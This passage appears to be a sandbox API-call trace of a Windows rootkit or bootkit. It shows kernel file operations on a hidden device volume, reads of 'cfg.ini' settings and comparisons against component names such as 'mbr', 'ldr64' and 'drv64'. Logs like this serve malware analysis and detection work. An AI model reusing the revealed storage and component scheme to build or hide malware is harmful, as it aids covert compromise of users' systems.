MemoryDescriptorList=0xfffffa8003b863b0) [0120.448] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.448] IdePortDispatch () returned 0x103 [0120.448] KeWaitForMutexObject () returned 0x0 [0120.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.449] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.449] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.449] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.449] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.449] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba910 [0120.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.449] KeLeaveCriticalRegion () [0120.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.449] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.449] KeEnterCriticalRegion () [0120.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.449] KeLeaveCriticalRegion () [0120.449] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.449] KeEnterCriticalRegion () [0120.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.449] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.449] IdePortDispatch () returned 0x103 [0120.449] KeWaitForMutexObject () returned 0x0 [0120.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.449] KeLeaveCriticalRegion () [0120.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.449] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.449] KeEnterCriticalRegion () [0120.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346c000 [0120.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.449] IdePortDispatch () returned 0x103 [0120.450] KeWaitForMutexObject () returned 0x0 [0120.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.450] IdePortDispatch () returned 0x103 [0120.450] KeWaitForMutexObject () returned 0x0 [0120.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.450] KeLeaveCriticalRegion () [0120.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.451] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.451] KeEnterCriticalRegion () [0120.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] KeLeaveCriticalRegion () [0120.451] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.451] KeEnterCriticalRegion () [0120.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.451] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] KeLeaveCriticalRegion () [0120.451] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.451] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.451] KeEnterCriticalRegion () [0120.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] ExFreePoolWithTag (P=0xfffffa8003bba910, Tag=0x0) [0120.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] KeLeaveCriticalRegion () [0120.451] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.451] ReleaseMutex (hMutex=0xf0) returned 1 [0120.451] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.451] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.451] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.451] KeEnterCriticalRegion () [0120.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.451] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.451] IdePortDispatch () returned 0x103 [0120.453] KeWaitForMutexObject () returned 0x0 [0120.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.453] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.453] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.453] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.453] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.453] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.453] KeLeaveCriticalRegion () [0120.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.453] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.453] KeEnterCriticalRegion () [0120.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.453] KeLeaveCriticalRegion () [0120.453] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.453] KeEnterCriticalRegion () [0120.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.453] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.453] IdePortDispatch () returned 0x103 [0120.453] KeWaitForMutexObject () returned 0x0 [0120.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.454] KeLeaveCriticalRegion () [0120.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.454] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.454] KeEnterCriticalRegion () [0120.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346d000 [0120.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.454] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.454] IdePortDispatch () returned 0x103 [0120.454] KeWaitForMutexObject () returned 0x0 [0120.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.454] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.454] IdePortDispatch () returned 0x103 [0120.454] KeWaitForMutexObject () returned 0x0 [0120.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.454] KeLeaveCriticalRegion () [0120.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.455] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.455] KeEnterCriticalRegion () [0120.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.455] KeLeaveCriticalRegion () [0120.455] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.455] KeEnterCriticalRegion () [0120.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.455] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.455] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.455] KeLeaveCriticalRegion () [0120.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.455] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.455] KeEnterCriticalRegion () [0120.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.455] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.455] KeLeaveCriticalRegion () [0120.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.455] ReleaseMutex (hMutex=0xf0) returned 1 [0120.455] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.456] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.456] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.456] KeEnterCriticalRegion () [0120.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.456] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.456] IdePortDispatch () returned 0x103 [0120.456] KeWaitForMutexObject () returned 0x0 [0120.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.456] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.456] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.456] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.456] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.456] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba9c0 [0120.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.456] KeLeaveCriticalRegion () [0120.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.456] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.456] KeEnterCriticalRegion () [0120.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.456] KeLeaveCriticalRegion () [0120.456] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.456] KeEnterCriticalRegion () [0120.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.456] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.456] IdePortDispatch () returned 0x103 [0120.456] KeWaitForMutexObject () returned 0x0 [0120.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.457] KeLeaveCriticalRegion () [0120.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.457] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.457] KeEnterCriticalRegion () [0120.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346e000 [0120.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.457] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.457] IdePortDispatch () returned 0x103 [0120.457] KeWaitForMutexObject () returned 0x0 [0120.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.457] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.457] IdePortDispatch () returned 0x103 [0120.457] KeWaitForMutexObject () returned 0x0 [0120.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.457] KeLeaveCriticalRegion () [0120.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.458] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.458] KeEnterCriticalRegion () [0120.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.458] KeLeaveCriticalRegion () [0120.458] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.458] KeEnterCriticalRegion () [0120.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.458] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.458] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.458] KeLeaveCriticalRegion () [0120.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.458] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.458] KeEnterCriticalRegion () [0120.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.458] ExFreePoolWithTag (P=0xfffffa8003bba9c0, Tag=0x0) [0120.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.458] KeLeaveCriticalRegion () [0120.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.458] ReleaseMutex (hMutex=0xf0) returned 1 [0120.458] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.458] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.458] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.459] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.459] KeEnterCriticalRegion () [0120.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.459] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.459] IdePortDispatch () returned 0x103 [0120.459] KeWaitForMutexObject () returned 0x0 [0120.459] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.459] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.459] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.459] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.459] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.459] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.459] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.459] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.459] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.459] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.459] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.459] KeLeaveCriticalRegion () [0120.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.459] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.459] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.459] KeEnterCriticalRegion () [0120.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: 